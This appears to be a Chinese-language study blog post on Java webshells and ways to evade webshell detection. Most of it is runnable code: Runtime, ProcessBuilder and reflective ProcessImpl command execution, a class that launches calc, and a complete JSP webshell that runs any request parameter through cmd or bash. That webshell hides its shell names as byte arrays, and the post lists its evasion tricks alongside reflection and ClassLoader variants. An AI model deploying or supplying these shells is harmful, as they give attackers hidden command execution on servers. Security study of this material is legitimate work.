学一下java的相关的马 内存马单独拉出来讨论 这里不涉及
https://k-anz.hatenablog.com/entry/2018/07/15/102648
https://www.anquanke.com/post/id/214435
https://github.com/threedr3am/JSP-Webshells
webshell-detect-bypass/using-java-reflection-and-ClassLoader-bypass-webshell-detection.md at master · LandGrey/webshell-detect-bypass (github.com)
java命令执行
1 2
| java.lang.Runtime java.lang.ProcessBuilder
|
方法
Runtime
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package com.exec;
import java.io.ByteArrayOutputStream; import java.io.InputStream;
public class runtime { public static void main(String[] args) throws Exception { InputStream in = Runtime.getRuntime().exec("whoami").getInputStream(); byte[] bcache = new byte[1024]; int readSize = 0; ByteArrayOutputStream infoStream = new ByteArrayOutputStream(); while ((readSize = in.read(bcache)) > 0) { infoStream.write(bcache, 0, readSize); } System.out.println(infoStream.toString()); } }
|
ProcessBuilder
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| package com.exec;
import java.io.ByteArrayOutputStream; import java.io.InputStream;
public class process { public static void main(String[] args) { try { InputStream in = new ProcessBuilder("whoami").start().getInputStream(); byte[] bs = new byte[2048]; int readSize = 0; ByteArrayOutputStream infoStream = new ByteArrayOutputStream(); while ((readSize = in.read(bs)) > 0) { infoStream.write(bs, 0, readSize); } System.out.println(infoStream.toString()); } catch (Exception e) { System.out.println(e.toString()); } } }
|
ProcessImplExec
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package com.exec;
import java.io.ByteArrayOutputStream; import java.lang.ProcessBuilder.Redirect; import java.lang.reflect.Method; import java.util.Map;
public class ProcessImplExec { public static void main(String[] args) throws Exception { String[] cmds = new String[]{"whoami"}; Class clazz = Class.forName("java.lang.ProcessImpl"); Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class); method.setAccessible(true); Process e = (Process) method.invoke(null, cmds, null, ".", null, true); byte[] bs = new byte[2048]; int readSize = 0; ByteArrayOutputStream infoStream = new ByteArrayOutputStream(); while ((readSize = e.getInputStream().read(bs)) > 0) { infoStream.write(bs, 0, readSize); } System.out.println(infoStream.toString()); } }
|
原理
首先看 Runtime 类 是private 所以 不能直接获得Runtime类的实例,只能通过其getRuntime()方法来间接获取一个Runtime类的实例
跟一下exec
可以发现调用了ProcessBuilder 类, 接着跟
然后跟到了 ProcessBuilder 类 构造方法
将任务加到command里
然后通过 start 来执行
然后发现是继承自 Process 而构造方法
接着看 会发现 ProcessImpl 是 private ,所以无法直接在java.lang包外直接调用ProcessImpl类
总结
java字节码
之前写的乱七八糟 没啥用
Java反序列化之字节码二三事 - FreeBuf网络安全行业门户
编译这一段代码 用锤子 编译好的在out目录下
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package com.exec;
import java.io.IOException;
public class calc { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e){ e.printStackTrace(); } } }
|
编写 URLClassLoader
启动类
遇到点小bug
「创宇小课堂」代码审计-Java字节码加载 (baidu.com)
URLClassLoader继承了ClassLoader,URLClassLoader提供了远程加载的能力,在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用
- URL以/结尾,则认为是一个JAR文件,使用JarLoader来寻找类,即为在Jar包中寻找.class文件
- URL以/结尾,且协议名是file,则使用FileLoader来寻找类,即为在本地文件系统中寻找.class文件
- URL以/结尾,且协议名不是file,则使用最基础的Loader来寻找类
绕过
主要是先学习 ( 搬运 ~ + 感悟
用ProcessBuilder绕过检测
emmm 上面该跟的都跟过了 现在来看看 具体怎么用
因为 ProcessImpl 是 private 而 ProcessBuilder 是 public 所以我们这里用它
JSP
1 2 3 4
| <%@ %> 页面指令,设定页面属性和特征信息 <% %> java代码片段,不能在此声明方法 <%! %> java代码声明,声明全局变量或当前页面的方法 <%= %> Java表达式
|
以下测试全都在用 tomcat 7.0.109
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <%@ page pageEncoding="utf-8"%> <%@ page import="java.util.Scanner" %> <HTML> <title>Just For Fun</title> <BODY> <H3>Build By LandGrey</H3> <FORM METHOD="POST" NAME="form" ACTION="#"> <INPUT TYPE="text" NAME="q"> <INPUT TYPE="submit" VALUE="Fly"> </FORM>
<% String op="Got Nothing"; String query = request.getParameter("q"); String fileSeparator = String.valueOf(java.io.File.separatorChar); Boolean isWin; if(fileSeparator.equals("\\")){ isWin = true; }else{ isWin = false; }
if (query != null) { ProcessBuilder pb; if(isWin) { pb = new ProcessBuilder(new String(new byte[]{99, 109, 100}), new String(new byte[]{47, 67}), query); }else{ pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), query); } Process process = pb.start(); Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A"); op = sc.hasNext() ? sc.next() : op; sc.close(); } %>
<PRE> <%= op %>> </PRE> </BODY> </HTML>
|
分析一下 他做了哪些事
- 避免出现敏感变量名
如”cmd”、”spy”、”exec”、”shell”、”execute”、”system”、”command”等等
- 字符串拆解重组
将”cmd”、”/c”和”/bin/bash”、”-c”等都做了处理,由字节转为字符串
- 使用Scanner接收回显
接收命令回显数据时,避免使用BufferedReader等常见手段
- 用fileSeparator来判断操作系统类型
一般使用System.getProperty/getProperties获取操作系统的类型,这里使用路径分隔符简单判断,然后再选用”cmd /c”或者”/bin/bash -c”来执行命令
- 不导入过多的包
学到了学到了
使用Java反射机制绕过检测
反射Runtime
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| package com.exec;
import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; import java.lang.reflect.Method;
public class runtime { public static void main(String[] args) throws Exception { Class<?> runtimeClass = Class.forName("java.lang.Runtime");
Method getRuntime = runtimeClass.getDeclaredMethod("getRuntime"); Method execMethod = runtimeClass.getMethod("exec", String.class);
String command = "whoami";
Process process = (Process) execMethod.invoke(getRuntime.invoke(null),command);
if (process != null) {
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
String line = null; while ((line = reader.readLine()) != null) { System.out.println(line); }
} else { System.out.println("执行命令失败!"); } } }
|
然后把一些东西换成字节就ok啦
反射ProcessBuilder
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| package com.exec;
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.Arrays; import java.util.Collections; import java.util.List;
public class ProcessBuilderInvoke { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, InterruptedException, IOException { List<String> command = new ArrayList<>(Collections.singletonList("whoami"));
Class<?> PB = Class.forName("java.lang.ProcessBuilder");
Constructor<?> constructor = PB.getConstructor(List.class);
Object obj = constructor.newInstance(command);
Method m = PB.getMethod("start");
Process process = (Process) m.invoke(obj);
if (process != null) {
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
String line = null; while ((line = reader.readLine()) != null) { System.out.println(line); }
} else { System.out.println("执行命令失败!"); }
} }
|
关于反射ProcessImpl
见 第一部分 方法 ProcessImplExec
使用Java类加载机制绕过检测
原理复杂,实现起来其实比较简单,即将获得Class对象的方式由
Class rt= Class.forName("java.lang.Runtime");
改成
Class rt = ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime");
的形式即可,反射ProcessBuilder同理。